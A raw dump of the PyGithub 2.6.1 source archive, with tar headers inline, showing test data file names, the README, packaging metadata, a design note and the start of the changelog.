tests/ReplayData/PullRequest1168.testGetIssue.txt tests/ReplayData/PullRequest1168.testGetPullRequest.txt tests/ReplayData/PullRequest1169.setUp.txt tests/ReplayData/PullRequest1169.testReviewApproveWithoutBody.txt tests/ReplayData/PullRequest1375.setUp.txt tests/ReplayData/PullRequest1375.testCreateReviewCommentReply.txt tests/ReplayData/PullRequest1682.setUp.txt tests/ReplayData/PullRequest1682.test_no_parameters.txt tests/ReplayData/PullRequest1682.test_object_parameters.txt tests/ReplayData/PullRequest1682.test_string_parameters.txt tests/ReplayData/PullRequest1684.setUp.txt tests/ReplayData/PullRequest1684.testDeleteRunnerId.txt tests/ReplayData/PullRequest1684.testDeleteRunnerObject.txt tests/ReplayData/PullRequest1684.testGetRunners.txt tests/ReplayData/PullRequest2408.setUp.txt tests/ReplayData/PullRequest2408.test_get_workflow_runs.txt tests/ReplayData/PullRequestComment.setUp.txt tests/ReplayData/PullRequestComment.testCreateReaction.txt tests/ReplayData/PullRequestComment.testDelete.txt tests/ReplayData/PullRequestComment.testDeleteReaction.txt tests/ReplayData/PullRequestComment.testEdit.txt tests/ReplayData/PullRequestComment.testGetReactions.txt tests/ReplayData/PullRequestFile.setUp.txt tests/ReplayData/PullRequestReview.setUp.txt tests/ReplayData/PullRequestReview.testAttributes.txt tests/ReplayData/PullRequestReview.testDismiss.txt tests/ReplayData/PullRequestReview.testEdit.txt tests/ReplayData/PullRequestReview1856.setUp.txt tests/ReplayData/PullRequestReview1856.testDelete.txt tests/ReplayData/RateLimiting.testGetRateLimit.txt tests/ReplayData/RateLimiting.testRateLimiting.txt tests/ReplayData/RateLimiting.testResetTime.txt tests/ReplayData/RawData.testCompletedObject.txt tests/ReplayData/RawData.testNonCompletableObject.txt tests/ReplayData/RawData.testNotYetCompletedObject.txt tests/ReplayData/Reaction.setUp.txt tests/ReplayData/Reaction.testAttributes.txt tests/ReplayData/Reaction.testDelete.txt tests/ReplayData/ReleaseAsset.setUp.txt tests/ReplayData/ReleaseAsset.testDelete.txt tests/ReplayData/ReleaseAsset.testUpdate.txt tests/ReplayData/ReleaseModify.testCreateGitTagAndRelease.txt tests/ReplayData/ReleaseModify.testDelete.txt tests/ReplayData/ReleaseModify.testUpdate.txt tests/ReplayData/ReleaseModify.testUploadAsset.txt tests/ReplayData/ReleaseModify.testUploadAssetFileLike.txt tests/ReplayData/ReleaseModify.testUploadAssetFromMemory.txt tests/ReplayData/ReleaseModify.testUploadAssetWithName.txt tests/ReplayData/ReleaseRead.testAttributes.txt tests/ReplayData/ReleaseRead.testGetAssets.txt tests/ReplayData/ReleaseRead.testGetLatestRelease.txt tests/ReplayData/ReleaseRead.testGetRelease.txt tests/ReplayData/Repository.setUp.txt tests/ReplayData/Repository.testAddToCollaboratorsCustomRole.txt tests/ReplayData/Repository.testAssignees.txt tests/ReplayData/Repository.testBadSubscribePubSubHubbub.txt tests/ReplayData/Repository.testCodeScanAlerts.txt tests/ReplayData/Repository.testCollaboratorPermission.txt tests/ReplayData/Repository.testCollaboratorPermissionNoPushAccess.txt tests/ReplayData/Repository.testCollaborators.txt tests/ReplayData/Repository.testCompare.txt tests/ReplayData/Repository.testCompareCommitPagination.txt tests/ReplayData/Repository.testCreateAutolink.txt tests/ReplayData/Repository.testCreateDeployment.txt tests/ReplayData/Repository.testCreateFile.txt tests/ReplayData/Repository.testCreateFork.txt tests/ReplayData/Repository.testCreateForkOrg.txt tests/ReplayData/Repository.testCreateGitBlob.txt tests/ReplayData/Repository.testCreateGitCommit.txt tests/ReplayData/Repository.testCreateGitCommitWithAllArguments.txt tests/ReplayData/Repository.testCreateGitCommitWithParents.txt tests/ReplayData/Repository.testCreateGitRef.txt tests/ReplayData/Repository.testCreateGitRelease.txt tests/ReplayData/Repository.testCreateGitReleaseGenerateReleaseNotes.txt tests/ReplayData/Repository.testCreateGitReleaseWithAllArguments.txt tests/ReplayData/Repository.testCreateGitTag.txt tests/ReplayData/Repository.testCreateGitTagWithAllArguments.txt tests/ReplayData/Repository.testCreateGitTree.txt tests/ReplayData/Repository.testCreateGitTreeWithBaseTree.txt tests/ReplayData/Repository.testCreateGitTreeWithNullSha.txt tests/ReplayData/Repository.testCreateGitTreeWithSha.txt tests/ReplayData/Repository.testCreateHookWithAllParameters.txt tests/ReplayData/Repository.testCreateHookWithMinimalParameters.txt tests/ReplayData/Repository.testCreateIssue.txt tests/ReplayData/Repository.testCreateIssueWithAllArguments.txt tests/ReplayData/Repository.testCreateIssueWithAllArgumentsStringLabel.txt tests/ReplayData/Repository.testCreateKey.txt tests/ReplayData/Repository.testCreateLabel.txt tests/ReplayData/Repository.testCreateMilestone.txt tests/ReplayData/Repository.testCreateMilestoneWithMinimalArguments.txt tests/ReplayData/Repository.testCreateProject.txt tests/ReplayData/Repository.testCreatePull.txt tests/ReplayData/Repository.testCreatePullFromIssue.txt tests/ReplayData/Repository.testCreateRepoActionsSecret.txt tests/ReplayData/Repository.testCreateRepoDependabotSecret.txt tests/ReplayData/Repository.testCreateRepositoryDispatch.txt tests/ReplayData/Repository.testCreateSourceImport.txt tests/ReplayData/Repository.testDelete.txt tests/ReplayData/Repository.testDeleteFile.txt tests/ReplayData/Repository.testDeleteSecret.txt tests/ReplayData/Repository.testEditWithAllArguments.txt tests/ReplayData/Repository.testEditWithDefaultBranch.txt tests/ReplayData/Repository.testEditWithoutArguments.txt tests/ReplayData/Repository.testGetArchiveLink.txt tests/ReplayData/Repository.testGetAutolinks.txt tests/ReplayData/Repository.testGetBranch.txt tests/ReplayData/Repository.testGetComments.txt tests/ReplayData/Repository.testGetCommits.txt tests/ReplayData/Repository.testGetCommitsWithArguments.txt tests/ReplayData/Repository.testGetCommitsWithAuthor.txt tests/ReplayData/Repository.testGetCommitsWithSinceUntil.txt tests/ReplayData/Repository.testGetContents.txt tests/ReplayData/Repository.testGetContentsDir.txt tests/ReplayData/Repository.testGetContentsDirWithSlash.txt tests/ReplayData/Repository.testGetContentsWithRef.txt tests/ReplayData/Repository.testGetContributors.txt tests/ReplayData/Repository.testGetCustomProperties.txt tests/ReplayData/Repository.testGetDeployments.txt tests/ReplayData/Repository.testGetDiscussion.txt tests/ReplayData/Repository.testGetDiscussions.txt tests/ReplayData/Repository.testGetDiscussionsByAnswered.txt tests/ReplayData/Repository.testGetDiscussionsByCategory.txt tests/ReplayData/Repository.testGetDiscussionsByStates.txt tests/ReplayData/Repository.testGetDownloads.txt tests/ReplayData/Repository.testGetEvents.txt tests/ReplayData/Repository.testGetForks.txt tests/ReplayData/Repository.testGetGitRef.txt tests/ReplayData/Repository.testGetGitRefWithIssue102Reverted.txt tests/ReplayData/Repository.testGetGitRefs.txt tests/ReplayData/Repository.testGetGitTreeWithRecursive.txt tests/ReplayData/Repository.testGetHookDeliveries.txt tests/ReplayData/Repository.testGetHookDelivery.txt tests/ReplayData/Repository.testGetHooks.txt tests/ReplayData/Repository.testGetIssues.txt tests/ReplayData/Repository.testGetIssuesComments.txt tests/ReplayData/Repository.testGetIssuesEvents.txt tests/ReplayData/Repository.testGetIssuesWithArguments.txt tests/ReplayData/Repository.testGetIssuesWithWildcards.txt tests/ReplayData/Repository.testGetKeys.txt tests/ReplayData/Repository.testGetLabel.txt tests/ReplayData/Repository.testGetLabels.txt tests/ReplayData/Repository.testGetLanguages.txt tests/ReplayData/Repository.testGetLicense.txt tests/ReplayData/Repository.testGetMatchingRefs.txt tests/ReplayData/Repository.testGetMilestones.txt tests/ReplayData/Repository.testGetMilestonesWithArguments.txt tests/ReplayData/Repository.testGetNetworkEvents.txt tests/ReplayData/Repository.testGetPendingInvitations.txt tests/ReplayData/Repository.testGetPulls.txt tests/ReplayData/Repository.testGetPullsComments.txt tests/ReplayData/Repository.testGetPullsWithArguments.txt tests/ReplayData/Repository.testGetRepositoryWith301Redirect.txt tests/ReplayData/Repository.testGetSourceImport.txt tests/ReplayData/Repository.testGetStargazers.txt tests/ReplayData/Repository.testGetStargazersWithDates.txt tests/ReplayData/Repository.testGetSubscribers.txt tests/ReplayData/Repository.testGetTeams.txt tests/ReplayData/Repository.testGetTopics.txt tests/ReplayData/Repository.testGetWatchers.txt tests/ReplayData/Repository.testGetWorkflowId.txt tests/ReplayData/Repository.testGetWorkflowRuns.txt tests/ReplayData/Repository.testGetWorkflowRunsCreated.txt tests/ReplayData/Repository.testGetWorkflows.txt tests/ReplayData/Repository.testLegacySearchIssues.txt tests/ReplayData/Repository.testMarkNotificationsAsRead.txt tests/ReplayData/Repository.testMergeUpstreamFailure.txt tests/ReplayData/Repository.testMergeUpstreamSuccess.txt tests/ReplayData/Repository.testMergeWithConflict.txt tests/ReplayData/Repository.testMergeWithMessage.txt tests/ReplayData/Repository.testMergeWithNothingToDo.txt tests/ReplayData/Repository.testMergeWithoutMessage.txt tests/ReplayData/Repository.testRemoveAutolink.txt tests/ReplayData/Repository.testRemoveInvitation.txt tests/ReplayData/Repository.testRenameBranchObject.txt tests/ReplayData/Repository.testRenameBranchString.txt tests/ReplayData/Repository.testReplaceTopics.txt tests/ReplayData/Repository.testRepoGetSecretAssertion.txt tests/ReplayData/Repository.testRepoSecrets.txt tests/ReplayData/Repository.testRepoVariable.txt tests/ReplayData/Repository.testRepoVariables.txt tests/ReplayData/Repository.testSearchIssues.txt tests/ReplayData/Repository.testStatisticsCodeFrequency.txt tests/ReplayData/Repository.testStatisticsCommitActivity.txt tests/ReplayData/Repository.testStatisticsContributors.txt tests/ReplayData/Repository.testStatisticsParticipation.txt tests/ReplayData/Repository.testStatisticsPunchCard.txt tests/ReplayData/Repository.testSubscribePubSubHubbub.txt tests/ReplayData/Repository.testTransferOwnership.txt tests/ReplayData/Repository.testTransferOwnershipInvalidOwner.txt tests/ReplayData/Repository.testUnsubscribePubSubHubbub.txt tests/ReplayData/Repository.testUpdateCustomProperties.txt tests/ReplayData/Repository.testUpdateFile.txt tests/ReplayData/RepositoryAdvisory.setUp.txt tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt tests/ReplayData/RepositoryDiscussion.setUp.txt tests/ReplayData/RepositoryDiscussion.testAddAndDeleteComment.txt tests/ReplayData/RepositoryDiscussion.testGetComments.txt tests/ReplayData/RepositoryDiscussion.testGetCommentsWithoutNodeId.txt tests/ReplayData/RepositoryKey.setUp.txt tests/ReplayData/RepositoryKey.testDelete.txt tests/ReplayData/Requester.testBaseUrlHostRedirection.txt tests/ReplayData/Requester.testBaseUrlPortRedirection.txt tests/ReplayData/Requester.testBaseUrlPrefixRedirection.txt tests/ReplayData/Requester.testBaseUrlSchemeRedirection.txt tests/ReplayData/Requester.testLoggingRedirection.txt tests/ReplayData/RequesterThrottled.testShouldDeferRequests.txt tests/ReplayData/RequesterThrottled.testShouldDeferWrites.txt tests/ReplayData/RequesterUnThrottled.testShouldNotDeferRequests.txt tests/ReplayData/RequiredPullRequestReviews.setUp.txt tests/ReplayData/RequiredPullRequestReviews.testOrganizationOwnedTeam.txt tests/ReplayData/RequiredStatusChecks.setUp.txt tests/ReplayData/Retry.testRaisesRetryErrorAfterMaxRetries.txt tests/ReplayData/Retry.testReturnsRepoAfter1Retry.txt tests/ReplayData/Retry.testReturnsRepoAfter3Retries.txt tests/ReplayData/Retry.testReturnsRepoAfterSettingRetryHttp.txt tests/ReplayData/Retry.testShouldNotRetryWhenStatusNotOnList.txt tests/ReplayData/Search.testGetPageOnSearchUsers.txt tests/ReplayData/Search.testPaginateSearchTopics.txt tests/ReplayData/Search.testPaginateSearchUsers.txt tests/ReplayData/Search.testSearchCode.txt tests/ReplayData/Search.testSearchCommits.txt tests/ReplayData/Search.testSearchCommitsOrder.txt tests/ReplayData/Search.testSearchHighlightingCode.txt tests/ReplayData/Search.testSearchIssues.txt tests/ReplayData/Search.testSearchRepos.txt tests/ReplayData/Search.testSearchReposWithNoResults.txt tests/ReplayData/Search.testSearchTopics.txt tests/ReplayData/Search.testSearchUsers.txt tests/ReplayData/Search.testUrlquotingOfQualifiers.txt tests/ReplayData/Search.testUrlquotingOfQuery.txt tests/ReplayData/SecurityAndAnalysis.setUp.txt tests/ReplayData/SelfHostedActionsRunner.setUp.txt tests/ReplayData/SelfHostedActionsRunner.testAttributes.txt tests/ReplayData/SourceImport.setUp.txt tests/ReplayData/SourceImport.testUpdate.txt tests/ReplayData/SpecificExceptions.test2FARequired.txt tests/ReplayData/SpecificExceptions.testAuthenticatedRateLimitExceeded.txt tests/ReplayData/SpecificExceptions.testBadCredentials.txt tests/ReplayData/SpecificExceptions.testBadUserAgent.txt tests/ReplayData/SpecificExceptions.testRateLimitExceeded.txt tests/ReplayData/SpecificExceptions.testUnknownObject.txt tests/ReplayData/Tag.setUp.txt tests/ReplayData/Team.setUp.txt tests/ReplayData/Team.testDelete.txt tests/ReplayData/Team.testDiscussions.txt tests/ReplayData/Team.testEditWithAllArguments.txt tests/ReplayData/Team.testEditWithoutArguments.txt tests/ReplayData/Team.testGetTeams.txt tests/ReplayData/Team.testMembers.txt tests/ReplayData/Team.testRepoPermission.txt tests/ReplayData/Team.testRepos.txt tests/ReplayData/Team.testTeamMembership.txt tests/ReplayData/Team.testUpdateTeamRepository.txt tests/ReplayData/Topic.setUp.txt tests/ReplayData/Traffic.setUp.txt tests/ReplayData/Traffic.testGetClones.txt tests/ReplayData/Traffic.testGetPaths.txt tests/ReplayData/Traffic.testGetReferrers.txt tests/ReplayData/Traffic.testGetViews.txt tests/ReplayData/UserKey.setUp.txt tests/ReplayData/UserKey.testDelete.txt tests/ReplayData/Workflow.setUp.txt tests/ReplayData/Workflow.testCreateDispatchForNonTriggerEnabled.txt tests/ReplayData/Workflow.testCreateDispatchWithBranch.txt tests/ReplayData/Workflow.testCreateDispatchWithString.txt tests/ReplayData/Workflow.testCreateDispatchWithTag.txt tests/ReplayData/Workflow.testDisable.txt tests/ReplayData/Workflow.testDisabledWhenAlreadyDisabled.txt tests/ReplayData/Workflow.testEnable.txt tests/ReplayData/Workflow.testEnableWhenAlreadyEnabled.txt tests/ReplayData/Workflow.testGetRunsWithCreated.txt tests/ReplayData/Workflow.testGetRunsWithHeadSha.txt tests/ReplayData/Workflow.testGetRunsWithNoArguments.txt tests/ReplayData/Workflow.testGetRunsWithObjects.txt tests/ReplayData/Workflow.testGetRunsWithStrings.txt tests/ReplayData/WorkflowJob.setUp.txt tests/ReplayData/WorkflowJob.testAttributes.txt tests/ReplayData/WorkflowRun.setUp.txt tests/ReplayData/WorkflowRun.test_cancel.txt tests/ReplayData/WorkflowRun.test_delete.txt tests/ReplayData/WorkflowRun.test_jobs.txt tests/ReplayData/WorkflowRun.test_rerun.txt tests/ReplayData/WorkflowRun.test_rerun_failed_jobs.txt tests/ReplayData/WorkflowRun.test_rerun_with_successful_run.txt tests/ReplayData/WorkflowRun.test_timing.txt././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145533.0 pygithub-2.6.1/PyGithub.egg-info/dependency_links.txt0000644000175100001660000000000114756101575022264 0ustar00runnerdocker ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145533.0 pygithub-2.6.1/PyGithub.egg-info/requires.txt0000644000175100001660000000017014756101575020614 0ustar00runnerdockerpynacl>=1.4.0 requests>=2.14.0 pyjwt[crypto]>=2.4.0 typing-extensions>=4.0.0 urllib3>=1.26.0 Deprecated [integrations] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145533.0 pygithub-2.6.1/PyGithub.egg-info/top_level.txt0000644000175100001660000000000714756101575020745 0ustar00runnerdockergithub ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/README.md0000644000175100001660000000473414756101563014255 0ustar00runnerdocker# PyGitHub [![PyPI](https://img.shields.io/pypi/v/PyGithub.svg)](https://pypi.python.org/pypi/PyGithub) ![CI](https://github.com/PyGithub/PyGithub/workflows/CI/badge.svg) [![readthedocs](https://img.shields.io/badge/docs-stable-brightgreen.svg?style=flat)](https://pygithub.readthedocs.io/en/stable/?badge=stable) [![License](https://img.shields.io/badge/license-LGPL-blue.svg)](https://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License) [![Slack](https://img.shields.io/badge/Slack%20channel-%20%20-blue.svg)](https://join.slack.com/t/pygithub-project/shared_invite/zt-duj89xtx-uKFZtgAg209o6Vweqm8xeQ) [![Open Source Helpers](https://www.codetriage.com/pygithub/pygithub/badges/users.svg)](https://www.codetriage.com/pygithub/pygithub) [![codecov](https://codecov.io/gh/PyGithub/PyGithub/branch/master/graph/badge.svg)](https://codecov.io/gh/PyGithub/PyGithub) [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) PyGitHub is a Python library to access the [GitHub REST API]. This library enables you to manage [GitHub] resources such as repositories, user profiles, and organizations in your Python applications. [GitHub REST API]: https://docs.github.com/en/rest [GitHub]: https://github.com ## Install ```bash pip install PyGithub ``` ## Simple Demo ```python from github import Github # Authentication is defined via github.Auth from github import Auth # using an access token auth = Auth.Token("access_token") # First create a Github instance: # Public Web Github g = Github(auth=auth) # Github Enterprise with custom hostname g = Github(base_url="https://{hostname}/api/v3", auth=auth) # Then play with your Github objects: for repo in g.get_user().get_repos(): print(repo.name) # To close connections after use g.close() ``` ## Documentation More information can be found on the [PyGitHub documentation site.](https://pygithub.readthedocs.io/en/stable/introduction.html) ## Development ### Contributing Long-term discussion and bug reports are maintained via GitHub Issues. Code review is done via GitHub Pull Requests. For more information read [CONTRIBUTING.md]. [CONTRIBUTING.md]: https://github.com/PyGithub/PyGithub/blob/main/CONTRIBUTING.md ### Maintainership We're actively seeking maintainers that will triage issues and pull requests and cut releases. If you work on a project that leverages PyGitHub and have a vested interest in keeping the code alive and well, send an email to someone in the MAINTAINERS file. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/codecov.yml0000644000175100001660000000022414756101563015131 0ustar00runnerdockercomment: after_n_builds: 4 codecov: disable_default_path_fixes: true # Automatic detection does not discover all files fixes: - "::github/" ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.5902402 pygithub-2.6.1/doc/0000755000175100001660000000000014756101576013537 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/.gitignore0000644000175100001660000000372114756101563015526 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2013 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ /build/ /github_objects.rst /contributing.rst /apis.rst ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/Design.md0000644000175100001660000000345014756101563015270 0ustar00runnerdockerTypology of URLs ================ Object URLs ----------- They - return a single object on GET - may be PATCH-able (to modify the object) - may be DELETE-able (to... delete the object) List URLs --------- They - return a list of objects on GET (some of them are not GET-able) - may be POST-able (to create a new object) - may have specific URLs for their elements, that - may be PUT-able (to add an existing object to this list) - may be GET-able (to ask if an object is in the list) - may be DELETE-able (to remove an object from the list) Laziness ======== An URL returning a list of objects returns most of the information about its elements, but not all. So, we have a lazy completion for objects returned by the API: we do a GET on their object URL when the user asks an attribute we have not got from the list of objects. We don't use lazy completion for objects requested by name by user, to detect name errors as soon as possible. Attributes vs. methods ====================== We have methods for API calls, and attributes for in-memory reads (except for lazy attributes that may trigger a call to an URL). Methods are named with a verb prefix to avoid name clashes with attributes. (`followers` is an attribute of User giving the number of followers, and `get_followers` is a method returning the list of followers) Explicit `edit` methods ======================= To modify objects, we have a single `edit` method (not several writable attributes) to be explicit about API calls. Typology of attributes ====================== * Internality * Internal (received in the GET request about this object) => attribute (lazy completion if needed) * External (needs another new GET request) => method * Type * Simple type * GithubObject * List of simple type * List of GithubObject * Dict of... ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/changes.rst0000644000175100001660000052424314756101563015707 0ustar00runnerdockerChange log ========== Stable versions ~~~~~~~~~~~~~~~ Version 2.6.1 (February 21, 2025) --------------------------------- Bug Fixes ^^^^^^^^^ * Fix broken pickle support for ``Auth`` classes (`#3211 `_) (`f975552a `_) * Remove schema from ``Deployment``, remove ``message`` attribute (`#3223 `_) (`d12e7d4c `_) * Fix incorrect deprecated import (`#3225 `_) (`93297440 `_) * Add ``CodeSecurityConfigRepository`` returned by ``get_repos_for_code_security_config`` (`#3219 `_) (`f997a2f6 `_) * Make ``GitTag.verification`` return ``GitCommitVerification`` (`#3226 `_) (`048a1a38 `_) Maintenance ^^^^^^^^^^^ * Mention removal of ``AppAuth.private_key`` in changelog (`#3212 `_) (`f5dc1c76 `_) Version 2.6.0 (February 15, 2025) --------------------------------- Breaking Changes ^^^^^^^^^^^^^^^^ * Rework ``Views`` and ``Clones`` (`#3168 `_) (`f7d52249 `_): View and clones traffic information returned by ``Repository.get_views_traffic`` and ``Repository.get_clones_traffic`` now return proper PyGithub objects, instead of a ``dict``, with all information that used to be provided by the ``dict``: Code like .. code-block:: python repo.get_views_traffic().["views"].timestamp repo.get_clones_traffic().["clones"].timestamp should be replaced with .. code-block:: python repo.get_views_traffic().views.timestamp repo.get_clones_traffic().clones.timestamp * Add ``GitCommitVerification`` class (`#3028 `_) (`822e6d71 `_): Changes the return value of ``GitTag.verification`` and ``GitCommit.verification`` from ``dict`` to ``GitCommitVerification``. Code like .. code-block:: python tag.verification["reason"] commit.verification["reason"] should be replaced with .. code-block:: python tag.verification.reason commit.verification.reason * Property ``AppAuth.private_key`` has been removed (`#3065 `_) (`36697b22 `_) * Fix typos (`#3086 `_) (`a50ae51b `_): Property ``OrganizationCustomProperty.respository_id`` renamed to ``OrganizationCustomProperty.repository_id``. New Features ^^^^^^^^^^^^ * Add capability for global laziness (`#2746 `_) (`f23da453 `_) * Add Support for GitHub Copilot Seat Management in Organizations (`#3082 `_) (`b5f8f078 `_) * Get branches where commit is head (`#3083 `_) (`3d84a47a `_) * Support downloading a Release Asset (`#3060 `_) (`67cfdb21 `_) * Add ``Repository.merge_upstream`` method (`#3175 `_) (`2f95352e `_) * Support updating pull request draft status (`#3104 `_) (`5ec7b775 `_) * Add transfer ownership method to Repository (`#3091 `_) (`b3ccd105 `_) * Add enable and disable a Workflow (`#3088 `_) (`7f7d2282 `_) * Add support for managing Code Security Configurations (`#3095 `_) (`ee5d1da3 `_) * Allow for private_key / sign function in AppAuth (`#3065 `_) (`36697b22 `_) * Add ``GitCommitVerification`` class (`#3028 `_) (`822e6d71 `_) Improvements ^^^^^^^^^^^^ * Update RateLimit object with all the new categories GitHub added. (`#3096 `_) (`152429d9 `_) * Add support for make-latest to create_git_release and create_git_tag_and_release (`#3067 `_) (`8ed5635f `_) * Add branch protection support for ``required_status_checks.checks`` object (`#2884 `_) (`764540d3 `_) * Use id and tree_id from simple-commit to populate GitCommit.sha and GitCommit.tree (`#3167 `_) (`04887640 `_) * Use message of response in GithubException (`#3185 `_) (`bd35f7dd `_) * Sync Advisory classes with API spec (`#3193 `_) (`d9d93c03 `_) * Sync Branch class with API spec (`#3109 `_) (`5570eba1 `_) * Sync BranchProtection class with API spec (`#3110 `_) (`936b3ef5 `_) * Sync CheckRunAnnotation class with API spec (`#3112 `_) (`29eb0f58 `_) * Sync CheckRun class with API spec (`#3111 `_) (`3837c7df `_) * Sync CheckSuite class with API spec (`#3113 `_) (`fa75d667 `_) * Sync Commit class with API spec (`#3116 `_) (`b2748ed9 `_) * Sync CommitComment class with API spec (`#3117 `_) (`51945360 `_) * Sync CommitStatus class with API spec (`#3118 `_) (`9a455056 `_) * Sync ContentFile class with API spec (`#3119 `_) (`a9aa872f `_) * Sync DependabotAlert class with API spec (`#3120 `_) (`79b4fc7c `_) * Sync Deployment class with API spec (`#3121 `_) (`c2d3b5e2 `_) * Sync DeploymentStatus class with API spec (`#3122 `_) (`b3a06f07 `_) * Sync Gist class with API spec (`#3123 `_) (`6764017b `_) * Sync GistComment class with API spec (`#3124 `_) (`eb6019a4 `_) * Sync GitBlob class with API spec (`#3125 `_) (`876ff10d `_) * Sync GitCommit class with API spec (`#3126 `_) (`6276e20f `_) * Sync GithubApp class with API spec (`#3127 `_) (`5327617e `_) * Sync GitRef class with API spec (`#3128 `_) (`a69f1d6f `_) * Sync GitReleaseAsset class with API spec (`#3130 `_) (`c5ab18f1 `_) * Sync GitRelease class with API spec (`#3129 `_) (`ebf3fe8e `_) * Sync GitTag class with API spec (`#3131 `_) (`58f26d85 `_) * Sync GitTree class with API spec (`#3132 `_) (`a38cb5ad `_) * Sync Hook class with API spec (`#3133 `_) (`2e477f8c `_) * Sync HookDelivery class with API spec (`#3134 `_) (`15d57595 `_) * Sync InstallationAuthorization class with API spec (`#3136 `_) (`649de20b `_) * Sync Installation class with API spec (`#3135 `_) (`3e4185d8 `_) * Sync Invitation class with API spec (`#3139 `_) (`0df2e394 `_) * Sync Issue class with API spec (`#3140 `_) (`769c6967 `_) * Sync IssueComment class with API spec (`#3141 `_) (`bb3353b4 `_) * Sync IssueEvent class with API spec (`#3142 `_) (`be44bb58 `_) * Sync IssuePullRequest class with API spec (`#3143 `_) (`1836b073 `_) * Sync Label class with API spec (`#3144 `_) (`4535b9e1 `_) * Sync License class with API spec (`#3145 `_) (`dda13366 `_) * Sync Membership class with API spec (`#3146 `_) (`bc643cc8 `_) * Sync Migration class with API spec (`#3147 `_) (`dabc1fb2 `_) * Sync Milestone class with API spec (`#3148 `_) (`12aee396 `_) * Sync NamedUser class with API spec (`#3149 `_) (`b481fab0 `_) * Sync Organization class with API spec (`#3150 `_) (`5b36bc40 `_) * Sync OrganizationCustomProperty class with API spec (`#3151 `_) (`519b61b0 `_) * Sync Project class with API spec (`#3194 `_) (`6ed83964 `_) * Sync PublicKey class with API spec (`#3152 `_) (`26c284bc `_) * Sync PullRequest class with API spec (`#3153 `_) (`563bdbb4 `_) * Sync PullRequestComment class with API spec (`#3154 `_) (`e262c2ee `_) * Sync RateLimit class with API spec (`#3155 `_) (`db1e8797 `_) * Sync Repository class with API spec (`#3156 `_) (`f03b3163 `_) * Sync RepositoryKey class with API spec (`#3157 `_) (`365f9899 `_) * Sync SecurityAndAnalysis class with API spec (`#3158 `_) (`65546abd `_) * Sync SelfHostedActionsRunner class with API spec (`#3159 `_) (`ea4a8d1d `_) * Sync SourceImport class with API spec (`#3160 `_) (`4d989733 `_) * Sync Tag class with API spec (`#3161 `_) (`a0a25bce `_) * Sync Team class with API spec (`#3162 `_) (`a1e68550 `_) * Sync Topic class with API spec (`#3163 `_) (`67eced78 `_) * Sync UserKey class with API spec (`#3164 `_) (`9d04305a `_) * Sync Workflow class with API spec (`#3165 `_) (`b656a311 `_) * Sync WorkflowRun class with API spec (`#3166 `_) (`468fa1b3 `_) Bug Fixes ^^^^^^^^^ * Patch httpretty socket for latest urllib3 release (`#3102 `_) (`81f8f05b `_) * Fix API break when contents not found (`#3181 `_) (`d90323fa `_) * Change ``start_side`` argument of ``PullRequest.create_review_comment`` from ``int`` to ``str`` (`#3170 `_) (`f814de7d `_) * Create Review Request - transform string params to a list (`#3099 `_) (`8aef11c0 `_) * Fix ``Repository.get_contents`` redirection (`#3183 `_) (`193f6991 `_) Others ^^^^^^ * Fix typos (`#3086 `_) (`a50ae51b `_) * Make ``conclusion`` nullable in ``WorkflowJob.py`` (`#3171 `_) (`8d8eb06d `_) * Rename ``Github.get_organization`` argument ``login`` to ``org`` (`#3187 `_) (`9e3cf209 `_) * Make ``NotSet`` an ``Attribute[Any]`` (`#3057 `_) Maintenance ^^^^^^^^^^^ * Sort attributes and properties in GitHub classes (`#3105 `_) (`f3986b57 `_) * Preparations for maintaining Github classes by code (`#3106 `_) (`842a1b02 `_) * Annotate Github classes with API schemas (`#3107 `_) (`d092f478 `_) * Make Pickle test use recorded data (`#3137 `_) (`1990eb92 `_) * Add tests for file and stream downloads (`#3182 `_) (`d483fe25 `_) * Use ``responses`` instead of ``httpretty`` in tests (`#3087 `_) (`9b293d44 `_) * [CI] Publish test results (`#3195 `_) * Link Commit to correct upstream documentation (`#2936 `_) (`4d307a7c `_) * Replace release drafter with Github release note generation (`#3196 `_) (`6f9a2983 `_) * Add maintenance label to release.yml (`#3197 `_) (`cab8d078 `_) Version 2.5.0 (November 06, 2024) --------------------------------- Breaking Changes ^^^^^^^^^^^^^^^^ * Parameters of method ``github.Requester.Requester.graphql_named_mutation`` have been renamed: * Parameter ``variables`` renamed to ``mutation_input`` * Parameter ``output`` renamed to ``output_schema`` * Default value of parameter ``output`` has been removed New features 